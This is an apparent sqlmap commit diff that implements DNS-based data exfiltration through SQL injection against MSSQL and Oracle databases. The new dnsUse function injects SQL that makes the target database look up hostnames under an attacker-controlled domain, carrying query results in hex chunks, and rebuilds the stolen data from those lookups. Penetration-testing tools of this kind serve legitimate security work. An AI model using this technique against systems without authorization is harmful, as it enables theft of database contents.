further update of DNS data retrieval mechanism through SQLi

lib/core/agent.py

@@ -261,7 +261,7 @@ class Agent:
         if 'hex' in rootQuery:
             hexField = rootQuery.hex.query % field
         else:
-            warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
+            warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
             singleTimeWarnMessage(warnMsg)
 
         return hexField

lib/core/common.py

@@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
     for _ in variables.keys():
         retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
 
-    _ = re.search(r"%([^%]+)%", retVal, re.I)
+    _ = re.search(r"%(\w+)%", retVal, re.I)
     if _:
         errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
         raise sqlmapGenericException, errMsg

lib/core/option.py

@@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
 
     kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
     kb.dep = None
+    kb.dnsMode = False
     kb.docRoot = None
     kb.dumpMode = False
     kb.dynamicMarkings = []

lib/core/settings.py

@@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
 
 # Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
 MAX_TOTAL_REDIRECTIONS = 10
+
+# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
+MAX_DNS_LABEL = 63

lib/request/inject.py

@@ -48,15 +48,22 @@ from lib.core.threads import getCurrentThreadData
 from lib.core.unescaper import unescaper
 from lib.request.connect import Connect as Request
 from lib.request.direct import direct
-from lib.techniques.union.use import unionUse
 from lib.techniques.blind.inference import bisection
+from lib.techniques.dns.use import dnsUse
 from lib.techniques.error.use import errorUse
+from lib.techniques.union.use import unionUse
 from lib.utils.resume import queryOutputLength
 from lib.utils.resume import resume
 
 def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
     start = time.time()
+    value = None
+    count = 0
 
+    if conf.dnsDomain:
+        value = dnsUse(payload, expression)
+
+    if value is None:
         timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
 
         if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:

lib/techniques/dns/use.py

@@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
-def dnsUse(expression, expected=None, dump=False):
+import re
+import time
+
+from lib.core.agent import agent
+from lib.core.common import Backend
+from lib.core.common import calculateDeltaSeconds
+from lib.core.common import dataToStdout
+from lib.core.common import decodeHexValue
+from lib.core.common import extractRegexResult
+from lib.core.common import getSPLSnippet
+from lib.core.common import hashDBRetrieve
+from lib.core.common import hashDBWrite
+from lib.core.common import randomInt
+from lib.core.common import randomStr
+from lib.core.common import safecharencode
+from lib.core.common import safeStringFormat
+from lib.core.common import singleTimeWarnMessage
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import queries
+from lib.core.enums import DBMS
+from lib.core.settings import MAX_DNS_LABEL
+from lib.core.settings import PARTIAL_VALUE_MARKER
+from lib.core.unescaper import unescaper
+from lib.request.connect import Connect as Request
+
+def dnsUse(payload, expression):
     """
     Retrieve the output of a SQL query taking advantage of the DNS
     resolution mechanism by making request back to attacker's machine.
     """
 
-    raise NotImplementedError
+    start = time.time()
+
+    retVal = None
+    count = 0
+    offset = 1
+
+    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
+        output = hashDBRetrieve(expression, checkConf=True)
+        if PARTIAL_VALUE_MARKER in output:
+            output = None
+
+        if output is None:
+            kb.dnsMode = True
+
+            while True:
+                count += 1
+                prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
+                chunk_length = MAX_DNS_LABEL / 2
+                _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
+                nulledCastedField = agent.nullAndCastField(fieldToCastStr)
+                nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
+                nulledCastedField = agent.hexConvertField(nulledCastedField)
+                expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
+
+                expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
+                expressionUnescaped = unescaper.unescape(expressionRequest)
+
+                forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
+                Request.queryPage(forgedPayload, content=False, raise404=False)
+
+                _ = conf.dnsServer.pop(prefix, suffix)
+                if _:
+                    _ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
+                    _ = decodeHexValue(_)
+                    output = (output or "") + _
+                    offset += len(_)
+                    if len(_) < chunk_length:
+                        break
+                else:
+                    break
+
+            kb.dnsMode = False
+
+        if output is not None:
+            retVal = output
+            dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
+            hashDBWrite(expression, output)
+
+        if not kb.bruteMode:
+            debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
+            logger.debug(debugMsg)
+
+    elif conf.dnsDomain:
+        warnMsg = "DNS data exfiltration method through SQL injection "
+        warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
+        singleTimeWarnMessage(warnMsg)
+        conf.dnsDomain = None
+
+    return retVal